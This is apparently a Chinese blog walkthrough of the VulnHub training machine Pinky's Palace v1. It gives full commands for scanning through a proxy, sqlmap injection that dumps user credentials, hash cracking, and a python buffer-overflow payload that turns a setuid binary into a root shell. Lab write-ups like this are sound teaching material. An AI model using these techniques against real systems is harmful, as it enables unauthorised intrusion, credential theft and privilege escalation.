VulnHub-Pinky's Palace: v1 靶场渗透测试

时间:2021.3.22

靶场信息:
地址:https://www.vulnhub.com/entry/pinkys-palace-v1,225/
发布日期:2018年3月6日 
目标:得到root权限&找到flag.txt

一、信息收集

1、获取靶机IP地址

nmap -sP 192.168.43.0/24

image-20210407141816028

由探测结果可知,靶机的IP为192.168.43.227

2、扫描开放的端口和服务

nmap -sS -sV -T5 -p- 192.168.43.227

image-20210407141959741

得到开放的端口信息:

8080/tcp  open  http       nginx 1.10.3
31337/tcp open  http-proxy Squid http proxy 3.5.23
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)

3、网站信息收集

由探测的结果可知,8080号端口开放有http服务,访问出现代理服务器拒绝连接的问题,因此可能需要代理才能访问,在靶机的31337端口开放了代理服务,我们试试

curl --proxy http://192.168.43.227:31337 127.0.0.1:8080

image-20210407142530687

访问成功,接着爆破一下目录

1.dirb  http://127.0.0.1:8080 -p 192.168.43.227:31337 
2.gobuster dir -u http://127.0.0.1:8080 -p 192.168.43.227:31337 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt 

image-20210407145633965

发现/littlesecrets-main,打开浏览器访问一下(这里要设置一下浏览器的代理)

image-20210407150228017

随便输入些数据,返回错误,我们猜测当前目录下可能还会存在其他目录或文件,再用gobuster爆破一下目录

gobuster dir -u http://127.0.0.1:8080/littlesecrets-main -p http://192.168.43.227:31337 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.txt

image-20210407151248622

二、漏洞探测

发现logs.php,访问看看,发现里面记录着我们请求的头信息

image-20210407151400069

所以,猜测存在user-agent注入,用sqlmap跑下

sqlmap -u "http://127.0.0.1:8080/littlesecrets-main/login.php" --proxy="http://192.168.43.227:31337" --level=3 --data="user=admin&pass=admin" --current-db --batch 

image-20210407154905505

得到当前使用的数据库为pinky_sec_db,继续爆破表

sqlmap -u "http://127.0.0.1:8080/littlesecrets-main/login.php" --proxy="http://192.168.43.227:31337" --level=3 --data="user=admin&pass=admin" -D pinky_sec_db --tables --batch

image-20210407155206650

再爆破表users的列名

sqlmap -u "http://127.0.0.1:8080/littlesecrets-main/login.php" --proxy="http://192.168.43.227:31337" --level=3 --data="user=admin&pass=admin" -D pinky_sec_db -T users --columns --batch

image-20210407155633398

最后dump出表中的数据

sqlmap -u "http://127.0.0.1:8080/littlesecrets-main/login.php" --proxy="http://192.168.43.227:31337" --level=3 --data="user=admin&pass=admin" -D pinky_sec_db -T users -C uid,user,pass --dump --batch

image-20210407160533969

得到上面两个hash值,猜测应该是md5加密的,用hashcat尝试字典破解

hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt --force
参数说明:
	-a表示破解模式,0是字典破解
	-m指定哈希类型,0是md5
	--force忽略警告

image-20210407160842628

破解得到用户为pinkymanage,密码为3pinkysaf33pinkysaf3,有了用户名和密码之后,我们再通过ssh登录

image-20210407161111423

成功登录到目标靶机,发现不能sudo -l提权,在/var/www/html/littlesecrets-main/ultrasecretadminf1l35目录下发现note.txt,里面是rsa密钥

image-20210407161728441

将密钥拷贝到本地,再base64解码保存

image-20210407161934254

之前在家目录发现还存在一个pinky用户,可能这个rsa密钥就是用来登录这个用户的image-20210407162625591

登录之后,没有密码,所以不能sudo提权,查看目录发现adminhelper二进制文件,且具有setuid权限

image-20210407164124099

三、漏洞利用

执行之后没有反应,再后面加一些输入,发现会将我们的输入返回

image-20210407164420153

猜测可能会出现缓冲区溢出,那就增大输入,提示段出现故障,也就说明确实存在缓冲区溢出

image-20210407164550151

然后我们按照方法查找溢出值,得到边界值为72

image-20210407164813619

我们使用靶机自带的gdb调式工具来打开这个二进制文件

  • info functions :列出可执行文件的所有函数名称,在内存中的symbol table查找,结果中的地址是内存里的地址,所以得到结果后,直接b(break,添加断点)这个地址,即可正确加断点
  • jump:当调试程序时,你可能不小心走过了出错的地方,可jump回去
  • i b : 查看断点
  • delect 编号 : 删除断点
  • disas $pc:反汇编当前函数
  • spawn():会创建一个新的进程来执行,生成一个子进程,返回代码将表明的状态创建进程

image-20210407165955165

使用jump调用spawn函数时获得shell

image-20210407170636834

这样的话我们将EIP中的返回地址修改为spawn函数的内存地址,让程序溢出时,通过EIP跳转到spawn函数执行获得shell,获得root权限

image-20210407171809073

四、提权

看到目标内存地址是0x00005555555547d0,在shellcode中,字节顺序相反,所以创建外壳需要调整顺序为\xd0\x47\x55\x55\x55\x55,前两位00不要,是因为\x00代表空格,在运行中\x00自动终止程序运行

./adminhelper $(python -c "print 'a' * 72 + '\xd0\x47\x55\x55\x55\x55'")

接下来执行程序,得到flag

image-20210407172353718

总结

这台靶机考查的知识点还是挺多的,从开始的代理访问得到登录界面,再根据user-agent的时间盲注得到用户密码,登录之后,发现密钥,利用密钥登录pinky用户,然后在家目录发现一个存在SID权限的root拥有者的二进制文件,然后利用缓冲区溢出得到root权限的shell。

posted @ 2021-04-07 17:35  l2sec  阅读(221)  评论(0编辑  收藏  举报